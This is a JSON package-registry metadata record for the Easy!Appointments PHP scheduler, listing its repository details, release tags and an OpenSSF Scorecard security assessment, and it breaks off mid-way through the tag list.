[{"id":454712,"name":"alextselegidis/easyappointments","ecosystem":"packagist","description":"Open Source Web Scheduler","homepage":"https://easyappointments.org","licenses":"GPL-3.0","normalized_licenses":["GPL-3.0"],"repository_url":"https://github.com/alextselegidis/easyappointments","keywords_array":["calendar","events","google","services","scheduler","dates","appointments"],"namespace":"alextselegidis","versions_count":24,"first_release_published_at":"2016-01-02T13:47:04.000Z","latest_release_published_at":"2025-09-15T10:58:58.000Z","latest_release_number":"1.5.2","last_synced_at":"2026-10-16T09:20:07.759Z","created_at":"2022-04-07T01:20:58.979Z","updated_at":"2026-10-16T18:08:16.822Z","registry_url":"https://packagist.org/packages/alextselegidis/easyappointments#","install_command":"composer require alextselegidis/easyappointments","documentation_url":null,"metadata":{"funding":[]},"repo_metadata":{"id":23819017,"uuid":"27195711","full_name":"alextselegidis/easyappointments","owner":"alextselegidis","description":":date: Easy!Appointments - Self Hosted Appointment Scheduler","archived":false,"fork":false,"pushed_at":"2026-10-01T06:55:41.000Z","size":49915,"stargazers_count":4407,"open_issues_count":166,"forks_count":1571,"subscribers_count":151,"default_branch":"main","last_synced_at":"2026-10-03T20:12:30.852Z","etag":null,"topics":["appointments","codeigniter","events","google-calendar","javascript","mysql","php","rest-api","scheduler","sync","time","web"],"latest_commit_sha":null,"homepage":"https://easyappointments.org","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/alextselegidis.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":".github/CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null}},"created_at":"2014-11-26T20:51:50.000Z","updated_at":"2026-10-03T19:31:01.000Z","dependencies_parsed_at":"2026-09-14T18:23:15.877Z","dependency_job_id":null,"html_url":"https://github.com/alextselegidis/easyappointments","commit_stats":{"total_commits":3329,"total_committers":95,"mean_commits":35.04210526315789,"dds":"0.13247221387804142","last_synced_commit":"e45fcf30b579a9a2a03bbbb35efb96556f1ad426"},"previous_names":[],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/alextselegidis/easyappointments","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alextselegidis","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/sbom","scorecard":{"id":164475,"data":{"date":"2025-08-11","repo":{"name":"github.com/alextselegidis/easyappointments","commit":"95ae0200b077dbb176fe95f0c417afc736d124fb"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.5,"checks":[{"name":"Maintained","score":10,"reason":"0 commit(s) and 19 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":1,"reason":"Found 5/28 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: GNU General Public License v3.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 1.5.1 not signed: https://api.github.com/repos/alextselegidis/easyappointments/releases/195661161","Warn: release artifact 1.5.1-beta.1 not signed: https://api.github.com/repos/alextselegidis/easyappointments/releases/191747031","Warn: release artifact 1.5.0 not signed: https://api.github.com/repos/alextselegidis/easyappointments/releases/164294562","Warn: release artifact 1.5.0-beta.1 not signed: https://api.github.com/repos/alextselegidis/easyappointments/releases/163290954","Warn: release artifact 1.5.0-alpha.1 not signed: https://api.github.com/repos/alextselegidis/easyappointments/releases/155682147","Warn: release artifact 1.5.1 does not have provenance: https://api.github.com/repos/alextselegidis/easyappointments/releases/195661161","Warn: release artifact 1.5.1-beta.1 does not have provenance: https://api.github.com/repos/alextselegidis/easyappointments/releases/191747031","Warn: release artifact 1.5.0 does not have provenance: https://api.github.com/repos/alextselegidis/easyappointments/releases/164294562","Warn: release artifact 1.5.0-beta.1 does not have provenance: https://api.github.com/repos/alextselegidis/easyappointments/releases/163290954","Warn: release artifact 1.5.0-alpha.1 does not have provenance: https://api.github.com/repos/alextselegidis/easyappointments/releases/155682147"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/alextselegidis/easyappointments/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/alextselegidis/easyappointments/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/alextselegidis/easyappointments/ci.yml/main?enable=pin","Warn: containerImage not pinned by hash: docker/php-fpm/Dockerfile:1: pin your Docker image by updating php:8.4-fpm to php:8.4-fpm@sha256:196fc15e73572efdfc12a3e1c2f2987cdfb6ea9d2f75f90cfd57e2707dd26633","Warn: downloadThenRun not pinned by hash: docker/php-fpm/Dockerfile:5-27","Warn: downloadThenRun not pinned by hash: docker/php-fpm/Dockerfile:5-27","Warn: downloadThenRun not pinned by hash: docker/php-fpm/Dockerfile:5-27","Warn: npmCommand not pinned by hash: docker/php-fpm/Dockerfile:5-27","Warn: npmCommand not pinned by hash: docker/php-fpm/start-container:13","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   3 downloadThenRun dependencies pinned","Info:   0 out of   2 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'","Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 7 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":8,"reason":"2 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-16T14:25:45.105Z","repository_id":23819017,"created_at":"2025-08-16T14:25:45.105Z","updated_at":"2025-08-16T14:25:45.105Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343843146,"owners_count":38250352,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-12T02:00:06.297Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"alextselegidis","name":"Alex Tselegidis","uuid":"4527441","kind":"user","description":"","email":"","website":"https://alextselegidis.com","location":"Bremen, Germany","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/4527441?v=4","repositories_count":7,"last_synced_at":"2023-02-26T14:40:12.205Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/alextselegidis","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-10T01:34:48.241Z","updated_at":"2023-02-26T14:40:12.208Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alextselegidis","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alextselegidis/repositories"},"tags":[{"name":"1.6.1-beta.1","sha":"8a0609232cfbfdffb4af0347014bb8048c05e51b","kind":"commit","published_at":"2026-09-07T11:00:30.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.1-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.1-beta.1/manifests"},{"name":"1.6.1-alpha.1","sha":"fb8f7164d0173563b387b7ce92da7bde9ff1ae63","kind":"commit","published_at":"2026-08-19T16:00:07.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.1-alpha.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.1-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.1-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.1-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.1-alpha.1/manifests"},{"name":"1.6.0","sha":"4bc7ecd51f3dade8e041558f2c23dda65bd6c43e","kind":"commit","published_at":"2026-05-27T12:16:28.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0/manifests"},{"name":"1.6.0-beta.2","sha":"a298582342c0d4611d1e5924e9067c7fa6a27af3","kind":"commit","published_at":"2026-04-01T10:40:55.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.0-beta.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-beta.2/manifests"},{"name":"1.6.0-beta.1","sha":"3d475c3827d565ed29ba18aa38898bc6e42a2e91","kind":"commit","published_at":"2026-03-05T12:50:26.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-beta.1/manifests"},{"name":"1.6.0-alpha.1","sha":"bf13debc0174516c0730d97ff3262ef6ae4951b4","kind":"commit","published_at":"2026-02-19T18:37:18.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.6.0-alpha.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.6.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.6.0-alpha.1/manifests"},{"name":"1.5.2","sha":"48d32686b0f40fc782c2bdf1bde4baafa4dbeea4","kind":"tag","published_at":"2025-09-15T10:59:34.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.2/manifests"},{"name":"1.5.2-beta.1","sha":"ba3fa7efc05b204b94489149d9050a77bc762a55","kind":"commit","published_at":"2025-08-16T12:00:59.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.2-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.2-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.2-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.2-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.2-beta.1/manifests"},{"name":"1.5.1","sha":"f64fda161f9384f76dc32bee48bc6c0d2f9ff3ec","kind":"commit","published_at":"2025-01-20T14:28:10.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.1/manifests"},{"name":"1.5.1-beta.1","sha":"6a2620eb372d908eb3c8391fdf94be096104f132","kind":"commit","published_at":"2024-12-19T20:51:39.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.1-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.1-beta.1/manifests"},{"name":"1.5.0","sha":"e45fcf30b579a9a2a03bbbb35efb96556f1ad426","kind":"commit","published_at":"2024-07-07T11:53:43.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0/manifests"},{"name":"1.5.0-beta.1","sha":"5ade840a2b3269748368bd0aff693624188d447d","kind":"commit","published_at":"2024-07-01T07:58:43.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-beta.1/manifests"},{"name":"1.5.0-alpha.1","sha":"7c0b7127cc7a3b1643a9acc0ba6e81b77b8b3c7b","kind":"commit","published_at":"2024-05-14T12:00:03.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-alpha.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-alpha.1/manifests"},{"name":"1.5.0-dev.4","sha":"ebe8f84ba18809efeec3f0dd76095ff119968ba2","kind":"commit","published_at":"2023-07-03T08:42:02.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-dev.4","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-dev.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-dev.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.4/manifests"},{"name":"1.5.0-dev.3","sha":"7ffc249706f00438d9efc7437fe22234ea7e7ae2","kind":"commit","published_at":"2023-04-24T08:13:55.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-dev.3","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-dev.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-dev.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.3/manifests"},{"name":"1.5.0-dev.2","sha":"76f9d2c6b8bb7f6643fddd8d97ec10802820f8da","kind":"commit","published_at":"2022-03-29T10:01:06.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-dev.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-dev.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-dev.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.2/manifests"},{"name":"1.4.3","sha":"44af526a6fc5e898bc1e0132b2af9eb3a9b2c466","kind":"tag","published_at":"2022-03-08T17:27:26.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.3","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.3/manifests"},{"name":"1.4.3-beta.1","sha":"16613905bae1e380a47ea5ddb9538b360e281a87","kind":"tag","published_at":"2022-02-25T10:21:04.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.3-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.3-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.3-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.3-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.3-beta.1/manifests"},{"name":"1.5.0-dev.1","sha":"4410c5fb8c81f6a7cb3f4f1e118082a72d5a58d6","kind":"commit","published_at":"2022-01-24T23:11:51.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.5.0-dev.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.5.0-dev.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.5.0-dev.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.5.0-dev.1/manifests"},{"name":"1.4.2","sha":"e9529f6bddc699ebdbc8fb926ba2a9c57eedcc2b","kind":"tag","published_at":"2021-07-27T08:32:17.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.2/manifests"},{"name":"1.4.2-beta.1","sha":"df2f1693b9a5ad116721518963e94e9592965619","kind":"tag","published_at":"2021-07-19T15:26:47.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.2-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.2-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.2-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.2-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.2-beta.1/manifests"},{"name":"1.4.1","sha":"2512159285d47ff4e41b6c62633a87c42e8702b0","kind":"tag","published_at":"2020-12-17T14:55:42.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"f4ab6ee91d9eee60f0c0d5daae305ce52b756ed6","kind":"tag","published_at":"2020-12-09T19:30:33.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.0/manifests"},{"name":"1.4.0-beta.1","sha":"6bf4e8b4eaf35cf002178f8a8dadd8ee912818a4","kind":"tag","published_at":"2020-10-22T09:53:29.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.4.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.4.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.4.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.4.0-beta.1/manifests"},{"name":"1.3.2","sha":"c68fe9fb0cd9d7653a32edb6bcb5b6d8926585aa","kind":"tag","published_at":"2018-07-29T14:13:28.000Z","download_url":"https://codeload.github.com/alextselegidis/easyapp